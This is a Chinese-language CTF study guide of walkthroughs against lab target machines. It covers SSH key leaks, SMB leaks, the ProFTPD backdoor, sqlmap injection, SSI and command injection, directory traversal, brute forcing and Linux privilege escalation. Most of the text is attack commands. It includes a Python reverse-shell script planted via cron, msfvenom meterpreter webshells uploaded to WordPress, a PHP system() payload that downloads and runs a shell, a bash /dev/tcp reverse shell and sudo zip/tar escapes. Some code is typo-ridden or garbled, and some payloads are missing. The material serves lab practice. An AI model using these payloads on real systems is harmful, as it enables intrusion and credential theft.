CTF初级漏洞测试学习

SSH私钥泄露

ssh私钥泄露(一)

信息探测

挖掘开放服务信息

nmap -sV 192.168.253.10

drib http://192.168.253.10:31337

.ssh 以及 robot.txt一般都是敏感文件

浏览器尝试访问:http://192.168.253.10:31337/robot.txt

浏览器尝试访问:http://192.168.253.10:31337/.ssh

.ssh 下面有两个信息可以下载

id_rsa(私钥)

authorized(认证关键字文件)

id_rsa_pub(公钥,不用下载)

访问路径下载

http://192.168.253.10:31337/.ssh/id_rsa

http://192.168.253.10:31337/.ssh/authorized

将两个文件放在kali的桌面上,方便使用

命令窗口在桌面打开

打开 auththorized_key文件,查看最后一行,可以看到 用户名@covefe的字样

chmod 600 id_rsa

使用ssh2john工具爆破ssh密码

ssh2john id_isa > rsacrack

利用字典解密rsacrack信息

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

命令输出提示中,(id_rsa)下面一行最末尾的就是密码

使用私钥登录远程服务器地址:

ssh -i id_rsa simon@192.168.253.10

回车之后,输入破解出来的密码

此时登录的是普通用户

cd /root

ls 查看root目录下可以看到flag.txt文件 和 read_message.c

普通用户提权

查找具有root权限的文件

find / -perm -4000 2>/dev/null

会列出一些具有root权限的文件,其中,找到read_message

cat read_message.c

执行程序read_message 文件

read_message

输入SimonAAAAAAAAAAAAAAA/bin/sh(利用溢出bug)

回车之后,会发现仿佛来到了root权限

然后 cat flag.txt 就获取到了flag值

ssh私钥泄露(二)

探测靶场开放的服务即该服务的版本

nmap -sV 192.168.1.106

探索靶场的全部信息

nmap -A -v 192.168.1.106

探索靶场的操作类型与版本

nmap -O 192.168.1.106

对于ssh服务的22端口,首先考虑暴力破解和私钥泄露

打开浏览器,输入 192.168.1.106 可以看到网页

挖掘敏感信息

dirb http://192.168.1.106,会列出一些敏感目录,不一定准确

在浏览器中访问 http://192.168.1.106/icons/VDSoyuAXiO.txt

可以看到私钥信息

也可以用nikto扫描工具

nikto -host 192.168.1.106

利用私钥登录靶场

首先进入到桌面的终端

下载私钥文件

wget “http://192.168.1.106/icons/VDSoyuAXiO.txt”

为了方便后期的使用,直接重命名

mv VDSoyuAXiO.txt id_rsa

chmod 600 id_rsa

尝试下martin登录,martin是从http://192.168.1.106中的页面,根据页面展示的信息,猜测出来的

ssh -i id_rsa martin@192.168.1.106 登录

cd /home 可以查看当前靶机中有哪些用户的家目录

id 然后回车可以查看当前用户的权限,发现当前用户是普通用户

查看所有的用户信息

cat /etc/passwd

查看用户组

cat /etc/group

查看属于某些用户的文件

find / -user 用户名

查看缓冲目录(隐藏文件)

cd /tmp/

深入挖掘

/etc/crontab 文件 设系统定期执行的任务,编辑需要root权限

cat /etc/crontab 查看系统用户和其他用户定期执行的任务

此时,会发现一个 sekurity.py 文件的定时任务,可以利用了,修改或者创建一个名为sekurity.py文件,

并且往里写入反弹shell代码

=====================

(补充)反弹shell代码:

分为两个部分:靶场代码和攻击机代码

靶场代码:

#!/usr/bin/python

import os,subprocess,socket

s= socket.socekt(socket.AF_INET,socket.SOCK_STREAM)

s.connect((“攻击机ip地址”,“攻击机监听端口”))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p = subprocess.call([“/bin/sh”,“-i”])

攻击机代码:

–nc -lpv 未占用端口

查看占用端口:netstat -pantu

启动随便一个没有被监听的端口,例如4445

nc -lvp 4445

编辑下 vim sekurity.py:

s= socket.socekt()

s.connect((“192.168.1.105”,“4445”))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p = subprocess.call([“/bin/sh”,“-i”])

查看当前目录下的文件权限:

ls -al

赋予权限

chmod +x sekurity.py

(扩展:万不得已的情况下:)hydra medusa暴力破解密码工具

利用cupp创建字典

首先回到桌面

git clone https://github.com/jeanphorn/common-password.git

cd common-password

chmod +x cupp.py

./cupp.py -i

回车,然后输入hadi

一直会回车,n,n,y,n

然后会生成 hadi.txt

使用metasploit破解,命令依次如下:

输入 msfconsole,进入到界面

use auxiliary/scanner/ssh/ssh_login

set rhosts 192.168.1.106

set username hadi

set pass_file hadi.txt

set threads 5

set verbose true (使每条暴力破解都出现提示信息)

run

暴力破解出来 hadi1233

exit退出,然后重启

use auxiliary/scanner/ssh/ssh_login

set rhosts 192.168.1.106

set username hadi

set pass_file hadi.txt

set threads 5

set password hadi123

run

然后就会发现产生sessions会话,可以用sessions -i 查看

优化会话:

python -c “import pty;pty.spawn(‘/bin/bash’)”

回车之后就会出现优化后的命令行模式

然后提权:

su - root

hadi123

id 查看当前用户权限

提升到root权限之后,就要查找flag文件,一般在root目录下

cd /root

pwd

ls

cat flag.txt

smb信息泄露

SMB(Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。后来Linux移植了SMB,并称为samba。

SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445

SMB协议,计算机可以访问网络资源,下载对应的资源文件

信息探测
挖掘开放服务信息
nmap -sV 192.168.253.17

挖掘靶场的全部地址,其中-T4 是快速发送数据包
nmap -A -v -T4 192.168.253.17

针对smb协议,使用空口令,若口令尝试登录,并查看敏感文件,下载查看

列出指定ip共享的设备
smbclient -L 192.168.253.17
此时就会列出该ip的共享设备,例如print,share,ipc

假设我们想要查看share中有什么内容
smbclient ‘\192.168.253.17\share$’
会提示输入密码,直接空格,使用空密码登录,就会进入到shell界面,可以用ls查看文件,假设列出来的文件有
wordpress,deet.txt
可以exit退出来

使用get下载敏感文件,格式:get 文件名
例如:
get deet.txt
查看cat deets.txt 会发现里面有密码

查看wordpress里面的信息
cd wordperss
ls可以看到有wp-config.php文件,使用get下载下来,查看,会发现里面有数据库的账号密码,并且上面nmap扫描出来3306端口开放
所以,就可以尝试远程登录目标的数据库,假设看到的用户名是Admin,密码是 TogieMYSQL_12345^^

新打开一个终端,输入
mysql -h 192.168.253.17 -uAdmin -pTogieMYSQL_12345^^
此时发现登录不上

然后选择用ssh服务远程连接
ssh Admin@192.168.253.17,发现还是不行

另外一种方法:针对smb协议远程溢出漏洞进行分析
searchsploit samba版本号

nmap -A -v -4T 192.168.253.17
找到samba的版本号,假设找到的是Samdb smbd 3.x -4.x 和 Samdb smbd 4.3.11-Ubuntu
然后执行命令:searchsploit Samdb smbd 3.x -4.x
searchsploit Samdb smbd 4.3.11-Ubuntu
发现还是没有可以利用的漏洞

另外一种方法
针对http协议弱点分析

尝试查找是否存在web端后端管理界面
dirb http://192.168.253.17/

这里假设我们扫出来了,http://192.168.253.17/wordpress/wp-admin
然后我们就可以通过浏览器访问该网址,并且输入 从wp-config.php中查看到的数据库的账号密码

制作webshell
msfvenom -p php/meterpreter/reverse_tcp lhost=kaili的ip地址 lport=4444 -f raw
回车之后,就会生成webshell代码,并且复制到桌面,文件名为 webshell.php

使用msfconsole工具启动监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost kali的ip
run

找到上传点
例如:wordpress的上传漏洞:
左侧菜单栏Appearance》Editor》右侧404 Template
然后将刚刚复制webshell代码粘贴到框框,点击upload file

假设当前主题是twentyfourteen
然后浏览器打开http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php

此时回到终端,会发现连接上了,但是用id指令发现此时登录的用户是普通用户
可以优化下终端:python -c “import pty;pty.spawn(‘/bin/bash’)”

提升到root权限
查看当前系统下的其他用户名:cat /etc/passwd
假设 这里我们发现一个貌似可以利用的用户:togie
尝试登录:su togie
然后输入密码,用deets.txt文件中的密码

sudo -l查看当前用户可以执行哪些操作

sudo su 提升到用户权限

进入到root找到flag.txt
cd /root
cat flag.txt

FTP服务后门利用

21端口

探测主机服务信息和服务版本
nmap -sV 192.168.1.100

快速扫描主机的全部信息
nmap -A -v -T4 192.168.1.100

通过searchsploit 工具扫描 用nmap扫描出的21端口的版本号,假设是 ProFTPD 1.3.3C
searchsploit ProFTPD 1.3.3C
然后就会列出一些关于该版本的信息

msfconsole
search ProFTPd-1.3.3c
然后就会列出一些关于该版本的漏洞,假设列出 exploit/unix/ftp/proftpd 133c backdoor
use exploit/unix/ftp/proftpd 133c backdoor
查看可以使用的payloads,show payloads
然后就会列出一些,这里我们选择 cmd/unix/reverse 的payload
set cmd/unix/reverse

设置目标ip
set rhost 192.168.1.100

设置攻击机的ip,也就是本机kali
set lhost 192.168.1.105

启动
exploit

使用id查看,可以发现,很幸运,直接获取root权限

优化终端界面
python -c “import pty;pty.spawn(‘/bin/bash’)”

获取flag
cd /root
ls -alh
cat flag

总结
对于开放FTP、SSH、Telnet等服务的系统,可以尝试一些对应服务版本的漏洞代码
对于系统,一定要注意利用现成的EXP来root主机;

探测可以存储flag的位置

扫描主机所有开放的端口
nmap -p- -T4 192.168.1.110

扫描主机的全部信息
nmap -A -v -T4 192.168.1.110

探测敏感信息
nikto -host http://192.168.1.100:80
nikto -host http://192.168.1.100:9090

dirb http://192.168.1.100:80
dirb http://192.168.1.100:9090

对于大端口非http服务,可以使用nc来探测该端口的banner信息)—nc ip地址
端口号对于大端口http服务,可以使用浏览器浏览界面查看源代码,寻找fag值;http://ip地址:端口号

nmap -p- -T4 192.168.1.110

发现有几个端口是unknown(未知),假设有13337,60000

探测 13337端口 和 60000端口
nc 192.168.1.110 13337
发现有flag

nc 192.168.1.110 60000
发现进入shell,但id无法使用,ls可以查看到当前目录下有FLAG.txt,然后cat FLAG.txt查看

还发现有个服务是zeus-admin,推测是http服务,对应端口9090
nc 192.168.1.110:9090

浏览器访问:http://192.168.1.110:9090,发现看到了flag值

通过dirb扫描出了 http://192.168.1.100/password,用浏览器打开,发现了FALG.txt文件

访问 http://192.168.1.100/password/passwords.html文件会发现 <!–Password winter ->

利用ftp匿名登录
在浏览器中访问 ftp://192.168.1.110 会发现FALG.txt
通过dirb扫描出了 http://192.168.1.100/robots.txt ,并在浏览器中访问,会显示几个目录,然后一一点击查看
/cgi-bin/root_shell.cgi
/cgi-bin/tracertool.cgi
/cgi-bin/*

在浏览器中访问 http://192.168.1.110/cgi-bin/root_shell.cgi
http://192.168.1.110/cgi-bin/tracertool.cgi
此时会发现会有提示,输入框内容,通过输入127.0.0.1;id 来查看你当前用户权限
127.0.0.1;cat /etc/passwd 点击tracel 会发现返回类似于猫的图案,说明cat命令被限制了
可以用more 命令查看:127.0.0.1;more /etc/passwd ,点击tracel 列出所有用户,这里找到可疑的用户 Summer

尝试远程登录靶场主机
ssh Summer@192.168.1.110 此时会发现目标主机拒绝远程ssh连接

另外我们发现 22222 端口
ssh -p 22222 Summer@192.168.1.110 此时提示输入密码 winter,然后会发现登录成功

查看flag值
cd /home

ls查看是否有FALG.txt文件

由于cat被限制了,所以这里使用more
more FALG.txt

这时候就获取到了flag值

sql注入

get类型的sql注入

SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

信息探测

扫描主机服务及其版本
nmap -sV 192.168.253.13

快速扫描主机全部信息
nmap -A -v -T4 192.168.253.13

探测敏感信息
扫描80端口服务
nikto -host http://192.168.253.13:80

发现了敏感文件/admin/login.php
在浏览器中输入http://192.168.253.13:80/admin/login.php

漏洞扫描
owasp-zap 图形化界面漏洞扫描工具

在kali中继承了,依次点击:Applications > Web Appication Analyis > owasp zap 就会打开界面,然后会加载进度条,然后在右侧的 URL to attack 输入框中输入靶场ip地址 http//192.168.253.15:80 然后点击 Attack 开始扫描,在下面的的Active Scan会显示相关信息
,扫描完成会自动跳到 Alerts,然后会分别显示 低 中 高危 漏洞

假设这里扫描出来sql注入的高危漏洞,这里就可以用sqlmap工具进行SQL注入

扫描目标主机的sql漏洞
例如:sqlmap -u “http://192.168.253.15/cat.php?id=3”
回车后会发现发现 一些漏洞,例如 布尔类型的注入 报错类型错误 时间盲注等

查看数据库名
sqlmap -u url -dbs

例如:sqlmap -u “http://192.168.253.15/cat.php?id=3” -dbs
然后就会扫描出一些数据库名,假设扫描出来了 information_schema 和 photoblog

查看对应数据库中的数据表
sqlmap -u url -D “数据库名” -tables
例如:sqlmap -u url -D “photoblog” -tables

查看对应字段
sqlmap -u url -D “数据库名” -T “表名” -columns
例如:sqlmap -u url -D “photoblog” -T “photoblog” -columns

查看对应字段值
sqlmap -u url -D “数据库名” -T “表名” -C “列名” --dump
例如:sqlmap -u url -D “photoblog” -T “photoblog” -C “login,password” --dump
然后连续输入两次y,然后就可以获取到 login 和 password的值,刚好是账号密码

然后在浏览器中输入 http://192.168.253.15/admin/login.php,然后输入账号密码,即登录成功

上传shell反弹权限

在终端中输入,生成webshell
msfvenom -p /php/metepreter/reverse_tcp lhost=192.168.253.12 (kali的ip地址) lport=4444 -f raw
此时生成webshell代码,然后复制下来,并且另存为 shellcode.php 到桌面

在终端中依次输入,开启监听端
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.253.15
set lport 4444
run

意外:未完

post类型的sql注入

扫描目标主机开放的全部端口
nmap -p- -T4 192.168.1.104
耐心等待几分钟

假设扫描出了 80 443 8080 端口

快速扫描目标主机的全部信息
nmap -A -v -T4 192.168.1.104
耐心等待几分钟

发现 http服务 80端口

探测敏感信息
nikto -host http://192.168.1.104:80

dirb http://192.168.1.104:80

发现敏感文件 /phpmyadmin
在浏览器中输入 http://192.168.1.104/phpmyadmin,即可访问到后台

然后继续其他探测 8080端口
nikto -host http://192.168.1.104:8080

dirb http://192.168.1.104:8080

漏洞扫描
owasp-zap 图形化界面漏洞扫描工具

在kali中继承了,依次点击:Applications > Web Appication Analyis > owasp zap 就会打开界面,然后会加载进度条,然后在右侧的 URL to attack 输入框中输入靶场ip地址 http//192.168.1.104:80 然后点击 Attack 开始扫描,在下面的的Active Scan会显示相关信息
,扫描完成会自动跳到 Alerts,然后会分别显示 低 中 高危 漏洞

继续扫描 http//192.168.1.10:8080

回到终端,查看扫描出来的信息,发现 /wordpress 可疑目录,在浏览器中输入 http:192.168.1.104:8080/wordpress 打开了网站
还发现了login.php 可疑目录 ,在浏览器访问 http://192.168.104/login.php

利用sqlmap进行post请求的sql注入,并结合bp抓包工具,抓取数据包,监听端口,并且人为的输入账号密码,随便输入,不正确也无所谓,然后抓取本次请求的信息,复制raw菜单中的数据包,并且另存为 request.raw ,放在桌面方便使用

接着使用sqlmap

探测出数据库名
sqlmap -r requset.raw --level 5 --risk3 --dbs --dbms mysql --batch

探测出一些信息后,假设启动有一个 名为 wordpress8080 的数据库,探测该数据库中的表
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 --tables --dbs --dbms mysql --batch
假设 探测出users的表

查看users表中的字段
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users --columns --dbs --dbms mysql --batch
假设扫描出来 username password

查看字段的值
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users -C username,password --dump --dbs --dbms mysql --batch

此时大概率就得到了账号密码,大概率是 http://192.168.1.104:8080/wprdpress/wp-login.php的 账号密码

上传webshell
在wordperss 后台寻找上传点,主题 的404.php 可以上传

启动终端
cd /usr/share/webshells/
ls
cd php/
cp php-reverse-shell.php /root/Desktop/
cd /root/Desktop

编辑 php-reverse-shell.php:
将$ip的值改为kali的ip
$port 的值改为4444

然后复制

http://192.168.1.104:8080/wprdpress/wp-login.php 登录成功后,会跳转到 /wp-admin
依次点击:左侧菜单栏 Appearance > Editor > 将刚刚复制的代码粘贴进来,替换原代码,点击 Update File 上传该webshell

执行shell
在浏览器中输入 http://192.168.1.104:8080/wordpress/wp-content/themes/主题名称/404.php
主题可以在浏览器的地址栏中的 theme = 查看

启动监听
np -nlvp 4444

优化终端显示
python -c “import pty;pty.spawn(‘/bin/bash’)”
然后就进入shell

查看敏感目录
cat /etc/shadow
cat /etc/passwd

提升用户权限
su -
密码 用刚刚sql注入从数据库取出的密码

使用id查看当前权限是否为root

X-forwarded-For 报头漏洞

探测目标主机的服务信息
nmap -sV 192.168.1.105

快速扫描目标主机的全部信息
nmap -A -v -T4 192.168.1.105

假设扫描出来了 80 端口

探测敏感信息
nikto -host http://192.168.1.105:80/

假设扫描出了 /admin/login.php的敏感目录,在浏览器中访问 http://192.168.1.105:80/admin/login.php,访问到了后台登录界面,此时还不知道账号密码

漏洞扫描
avws工具web安全漏洞扫描器
依次点击:左侧Targets > Add Target >输入 Address 靶场地址;下面的描述随便写 > Add Target >点击上面 Scan选项 > Report 选择生成的报告类型 >CreateScan
等待一段时间

即可显示出一些 低 中 高危漏洞
发现了sql 报头注入漏洞

查看数据库名
sqlmap -u “http://192.168.1.105” --headers=“X-Forwarded-For:*” --dbs --batch
假设 探测出了 photoblog

查看对应数据库中的数据表
sqlmap -u “http://192.168.1.105” --headers=“X-Forwarded-For:*” -D “photoblog” --tables --batch
假设探测出来 categories pictures stats users

查看表中的字段
sqlmap -u “http://192.168.1.105” --headers=“X-Forwarded-For:*” -D “photoblog” -T “users” --columns --batch
假设探测出了 id login password

查看字段值
sqlmap -u “http://192.168.1.105” --headers=“X-Forwarded-For:*” -D “photoblog” -T “users” -C “login,password” --dump --batch

等待一段时间,就会出现账号密码

然后浏览器再次访问 http://192.168.1.105:80/admin/login.php ,输入账号密码 登录到后台

ssi 注入

ssl(server side iniect)的出现是为了赋予html静态页面动态的效果,通过ssI来执行系统命令,并返回对应的结果。

如果在网站目录中发现了 .tm,.shtm .html,并且网站对于sSL的输入没有做到严格过滤,很有可能被ssI注入攻击。

探测目标主机的服务及其版本信息
nmap -sV 192.168.1.106

探测目标主机的全部信息
nmap -A -v -T4 192.168.1.106

探测敏感信息
nikto -host http://192.168.1.106:80

dirb http://192.168.1.106/

这里发现有个敏感目录:robots
用浏览器访问 http://192.168.1.106/robots 会显示 不允许爬取的目录,而往往这类目录便有敏感信息
假设是soukcab/ 然后就可以尝试用浏览器访问 http://192.168.1.106/soukcab/ 就会访问到一些敏感文件
假设有 index.bak oldconfig.bak 点击就会下载,然后下载到桌面,方便查看

查看index.bak 文件,发现并没有啥有价值的信息
查看oldconfig.bak 文件,发现了一些配置信息,和一些敏感目录

这里扫描工具还发现了ssi敏感文件,但是没有啥有价值的信息

这里尝试直接访问 http://192.168.1.106 发现访问到了目标主机的网站
扫描工具还发现了 /index.shtml 敏感目录 (静态文件的漏洞)

漏洞利用
daki

打开目标主机所运行的网站,找到表单
输入
或者
会得到一些信息

生成webshell
用msfconsole工具
msfvenom -p python/meterpreter/reverse_tcp lhost=靶场ip lport=4444 -f raw >/root/Desktop/shell.py

启动监听
msfconsole
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set lhost kali的ip
set lport
run

开启kali的apache服务器
在桌面打开一个新的终端
mv shell.py /var/www/html
验证是否移动成功
ls -alh /var/www/html

开启apache服务
service apache2 start
查看服务是否开启
servicce apache2 status

回到表单部分
ip是kali的ip
输入
点击提交,上传到目标服务器

然后在表单中再次输入,赋予文件执行权限

点击提交

执行文件

点击提交,等待一会,会卡断一小会
回到终端,可以发现进入到 meterpreter界面

这时候就可以用sysinfo查看系统信息了

输入shell命令可以反弹shell
优化终端界面
python -c “import pty;pty.spawn(‘/bin/bash’)”

获取flag
cd /root
ls
cat flag.txt

总结:
在CTF比赛中,对于ssi漏洞服务器具有很多过滤机制,我们需要对其进行绕过,比如大小写;
列举出当前目录中的文件和目录

切换到指定目录

下载shell脚本,并重名为 shell.php

目录遍历漏洞

路径遍历攻击(也称为目录遍历)旨在访问存储在Web根文件夹之外的文件和目录。通过操纵带有“点斜线(…)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。

需要注意的是,系统操作访问控制(如在微软Windows操作系统上锁定或使用文件)限制了对文件的访问权限。
“目录遍历”、这种攻击也称为“点-点斜线”“目录爬升”和“回溯”

扫描目标主机服务信息及其版本
nmap -sV 192.168.1.104

扫描目标主机的全部信息
nmap -A -v -T4 192.168.1.104

探测敏感信息
nikto -host http://192.168.1.104:80

探测目录
dirb http://192.168.1.104:80

假设扫描出来了 http://192.168.1.104/dbadmin/ 的敏感目录
然后用浏览器访问,发现了 test_db.php 敏感文件,点击打开,会发现类似于后台管理系统的登录界面

漏洞扫描
owasp-zap 图形化界面漏洞扫描工具

在kali中集成了,依次点击:Applications > Web Appication Analyis > owasp zap 就会打开界面,然后会加载进度条,然后在右侧的 URL to attack 输入框中输入靶场ip地址 http//192.168.1.104:80 然后点击 Attack 开始扫描,在下面的的Active Scan会显示相关信息
,扫描完成会自动跳到 Alerts,然后会分别显示 低 中 高危 漏洞

这里发现了 Path Traversal 目录遍历漏洞,点击,然后右侧就会出现url:192.168.1.104view,php?page=%2F%2F%2F%2F%2F%2F%2F%2F%2F%2%2F%2F%2F%2F%2F%2Fetc%2Fpasswd
然后复制下来,用浏览器访问,会出现/etc/passwd 的信息,可以发现如果将路径后的的passwd改为shadow文件,那就可以查看到/etc/shadow文件的内容,但是由于shadow文件本身的文件是不允许非root的访问,所以这里就访问不到了

漏洞利用

用浏览器访问http://192.168.1.104/dbadmin/,访问到后台登录界面,尝试用弱密码登录 admin 会发现很幸运,登录到系统后台了

上传webshell
回到kali终端
cd /usr/share/webshells/
cd php/
cp php-reverse-shell.php /root/Desktop
cd root/Desktop
vim php-rever-shell.php
i p 的值修改为 k a l i 的 i p 地址, ip的值修改为kali的ip地址, ip的值修改为kaliip地址,port的值改为kali的监听端口
mv php-rever-shell.php shell.php

回到目标主机的后台界面
发现目标主机的创建数据库的方式是以php文件创建的,并且下面还有个输入框用来创建数据库,假设我们输入shell

首先尝试添加一个任意字段 ,对于 Default Vaule字段,输入我们要执行的命令:<?php system('cd /tmp;wget http://192.168.1.106:8000/webshell.php;chmod +x webshell.php;php webshell.php') ?>
点击create

监听反弹shelll

回到kali,在桌面中打开终端,输入指令,创建服务器用于靶场及其下载对应webshell
python -m “SimpleHTTPServer”

nc命令启动监听
nc -nlvp 4444

在浏览器中访问:
http://192.168.1.104view,php?page=%2F%2F%2F%2F%2F%2F%2F%2F%2F%2%2F%2F%2F%2F%2F%2Fetc%2F/usr/databases/shell.php

回到终端,发现反弹到了shell
启动终端:
python -c “import pty;pty.spawn(‘/bin/bash’)”
此时登录的用户是普通用户

暴力破解漏洞介绍

穷举法的基本思想是根据题目的部分条件确定答案的大致范围,并在此范围内对所有可能的情况逐一验证,直到全部情况验证完毕。若某个情况验证符合题目的全部条件,则为本问题的一个解;若全部情况验证后都不符合题目的全部条件,则本题无解。穷举法也称为枚举法。
Web安全中的暴力破解也是利用尝试所有的可能性最终获取正确的结果

扫描目标主机服务信息及其版本
nmap -sV 192.168.253.20

扫描目标主机的全部信息
nmap -A -v -T4 192.168.253.20

探测敏感信息
nikto -host http://192.168.253.20:80

探测目录
dirb http://192.168.253.20:80

假设探测到了敏感目录:/secret
然后用浏览器访问:http://192.168.253.20/secret

发现了一个隐藏博客,发现了一些输入框 以及 带连接的login文本,点击之后会跳转到vtcsec/secret/wp-login.php 并且显示找不到该目录,然后将vtcsec 改为 192.168.253.20,再次访问,发现访问到了后台管理登录界面

使用wpscan 对站点进行用户名枚举
wpsacn 查看可以使用的命令
执行其中命令
wpscan.rb --url 192.168.253.20/secret --enumerate u
等待一段漫长的时间

这里就能探测到用户名,假设是admin

再用探测出的用户名结合metasploit进行暴力破解
msfconsole
use auxiliary/scanner/http/wordpress_login_enum
set username admin
set pass_file /usr/share/wordlists/dirb/common.txt
set targeturi /secret/
set rhosts 192.168.253.20
run

经过一段时间的破解,假设发现破解出来的用户名密码均是admin
在浏览器中访问 http://192.168.253.20/secret/wp-login.php
然后输入刚刚暴力破解出来的用户名和密码,登录到后台

制作webshell
回到kali终端
msfvenom -p php/meterpreter/reverse_tcp rhost=kali的ip port=4444 -f raw
此时就会生成webshell代码,并且显示出来,然后复制下来

回到后台管理界面
左侧菜单栏Appearance》Editor》右侧404 Template
然后将刚刚复制webshell代码粘贴到框框,点击upload file

回到kali终端
back
use /exploit/multi/handler
set lhost kali的ip
set lport 4444
run

假设当前主题是twentyfourteen
然后浏览器打开http://靶场IP/secret/wp-content/themes/twentyfourteen/404.php

回到终端,发现进入到了meterperter界面
可以用id查看当前用户

提升root权限
在meterperter界面下
download /etc/passwd
download /etc/shadow

新开一个终端
unshadow passwd shadow > cracked
ls
john cracked
发现了 用户名和密码 均为 marlinspike

在meterperter界面下
shell
python -c “import pty;pty.spawn(‘/bin/bash’)”
su - marlinspike
输入密码 marlinspike

sudo -l
输入密码 marlinspike

sudo bash

查看flag
cd /root
ls -alh
cat flag

路径遍历提权

目标获取反弹www-data 用户shell,获取靶机的root权限,得到flag值

当我们以普通用户登录到目标靶机上,就可以尝试提权了

1.内核漏洞提权
内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集。

查看发行版本
cat /etc/issue
cat /etc/*-release

查看内核版本
uname -a

假设发行版本号是 Ubuntu 12.04.5

寻找内核溢出代码
searchsploit 发行版本 内核版本
例如:searchsploit Ubuntu 12.04.5
会发现没有漏洞可以利用,但是如果用 12.04查找的话,便有相关漏洞

根据查找出的内存溢出 进行漏洞利用
gcc xxx.c -o exploit
chmod +x exploit
./exploit

2.明文root密码提权

查看用户
cat /etc/passwd

查看密码
cat /etc/shadow
有时候会发现没有权限查看

3.计划任务
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshel;如果定时执行的文件是py脚本,可以使用一下的脚本来替换之前的脚本

靶场代码
#!/usr/bin/pythonimport os,subprocess,socket
s=socket.socekt(socket.AF INET,socket.SOCK STREAM)s.connect((“攻击机IP地址”,”攻击机监听端口”)
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([“/bin/bash:,”-i"])

攻击机启动nc 监听端口
nc -nlvp port

查看定时任务
cat /etc/crontab

  1. 密码复用
    很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码

有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规侧将你排
除在外了。返回来想,我们不是有一个低权sh了吗?找个办法再上面“输入”密码就好了。显然,直
接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,liux要求用户必须从终端设备(ty)中
输入密码,而不是标准输入(stdi)。换句话说,swco在你输入密码的时候本质上是读取了键盘,而不
是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。pythoi就有这样的功能。
在shell里面输入:
python-c ‘import pty;pty.spawn(“/bin/bash”)’

查找敏感文件
cd /home
ls
进入到用户的家目录下面
假设发现了有wordpress
cd wordpress
ls
cat wp-config.php
此时就会查看到数据库的账号密码

用nmap查看目标主机是否开放了ssh服务
如果有,便可以尝试用从wp-config.php文件中获取的账号密码,进行远程登录

登录成功后,使用sudo -l 查看当前登录用户的可执行文件,假设发现了/usr/bin/zip,就可以使用zip进行漏洞利用

利用zip进行提权
touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command=“sh -c /bin/bash”
回车之后,就会发现提权到root权限了

利用tar进行提权
–sudo-u root tar cf/dev/nu exploit-checkpoint=1–checkpoint-action=“/bin/bash”

获取flag
cd /root
ls
cat flag.txt

web安全命令执行漏洞

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中
的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到
正常命令中,造成命令执行攻击。
调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没
有过滤用户的输入的情况下,就会造成命令执行漏洞。

扫描靶场机器
nmap -sV 192.168.1.103

快速扫描目标主机
nmap -A -v -T4 192.168.1.103

敏感信息扫描
nikto -host http://192.168.1.103:8080

假设扫描出来test.jsp文件

浏览器访问 http://192.168.1.103:8080
浏览器访问 http://192.168.1.103:8080/test.jsp

发现访问到了页面,内容是测试命令的输入框

在输入框进行漏洞利用

查看临时缓冲目录
ls -alh /tmp/
点击提交会显示一些信息

查看home目录,查看用户信息
ls -alh /home
假设看到了bill
说明目标主机上有个bill用户

查看用户下的信息
ls -alh /home/bill
会发现 有.ssh文件

查看系统信息
uname -a

利用ssh命令执行root权限命令
使用ssh用户名@localhosti通过ssh登录服务器是不需要身份验证的;

查看bill用户sudo命令的权限:ssh bill(@localhost sudo-l
关闭防火墙:ssh bill@localhost sudo ufw disable

所以在输入框中输入 ssh bill@localhost sudo -l

关闭防火墙
ssh bill@localhost sudo ufw disable

反弹shell,提升权限
在攻击机上开启一个终端,并且监听端口
nc -lvp 4444

靶场机器反弹shell
ssh bill@localhost sudo bash -i> & /dev/tcp/ip/4444 0>&1

另外一个方式
提前准备好webshell代码
在输入框依次输入:

开启python简易http服务器
python -m SimpleHTTPServer
会运行一段时间

利用命令执行下载木马文件
ssh bill@localhost sudo wget “http://ip:port/shell.jsp”-O 目标靶机的网站根目录
例如:ssh bill@localhost sudo wget “http://ip:port/shell.jsp” -O 目标网站的根目录/shell.jsp

获取flag
cd /root
ls
cd flag

集成工具测试使用

使用sparta工具对信息探测
在kali的终端中
sparta

会弹出图形化界面工具

依次点击
左侧Click here to add host(s)to scope 》 IP Range 输入目标靶机地址 》Add to scope
输入完之后会自动调用各种扫描工具
右侧就会出现扫描结果

在结果上,点击鼠标右键》Open in browser
就会自动打开浏览器,并且访问

在结果上,点击鼠标右键》Run whatweb
就会启动watweb工具 进行扫描
其他工具使用,依次类推

在结果上,点击鼠标右键》Launch dirbuster
暴力探测目标站点下的敏感目录和文件

